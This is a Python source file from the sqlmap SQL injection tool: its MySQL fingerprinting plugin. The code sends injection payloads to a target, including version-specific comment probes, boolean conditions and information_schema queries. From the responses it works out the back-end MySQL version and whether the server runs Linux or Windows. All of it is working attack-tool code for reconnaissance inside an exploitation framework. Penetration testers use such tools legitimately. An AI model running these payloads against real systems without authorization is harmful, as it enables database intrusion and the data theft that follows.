#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2010 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self) def __commentCheck(self): infoMsg = "executing MySQL comment injection fingerprint" logger.info(infoMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated on 01/2010 versions = ( (32200, 32234), # MySQL 3.22 (32300, 32360), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40123), # MySQL 4.1 (50000, 50090), # MySQL 5.0 (50100, 50142), # MySQL 5.1 (50400, 50405), # MySQL 5.4 (50500, 50502), # MySQL 5.5 (60000, 60011), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = formatDBMSfp() if not conf.extensiveFp: value += actVer return value comVer = self.__commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = formatDBMSfp([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("MySQL %s" % kb.dbmsVersion[0]) if int(kb.dbmsVersion[0]) >= 5: kb.data.has_information_schema = True self.getBanner() if not conf.extensiveFp: return True infoMsg = "testing MySQL" logger.info(infoMsg) randInt = str(randomInt(1)) payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") result = Request.queryPage(payload) if result: infoMsg = "confirming MySQL" logger.info(infoMsg) payload = agent.fullPayload(" AND ISNULL(1/0)") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False # Determine if it is MySQL >= 5.0.0 if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt: kb.data.has_information_schema = True kb.dbmsVersion = [">= 5.0.0"] setDbms("MySQL 5") self.getBanner() if not conf.extensiveFp: return True # Check if it is MySQL >= 5.5.0 if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6": kb.dbmsVersion = [">= 5.5.0"] # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False): if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = ["= 5.1.6"] elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] else: kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1": kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.getValue("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] else: kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] # Otherwise assume it is MySQL < 5.0.0 else: kb.dbmsVersion = ["< 5.0.0"] setDbms("MySQL 4") self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is coercibility = inject.getValue("COERCIBILITY(USER())") if coercibility == "3": kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] elif coercibility == "2": kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] elif inject.getValue("CURRENT_USER()"): kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": kb.dbmsVersion = ["= 4.1.0"] else: kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0": kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] elif inject.getValue("CONNECTION_ID()"): kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] else: kb.dbmsVersion = ["< 3.22.11"] return True else: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if kb.os: return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) if datadirSubstr == "/": kb.os = "Linux" else: kb.os = "Windows" infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) self.cleanup(onlyFileTbl=True)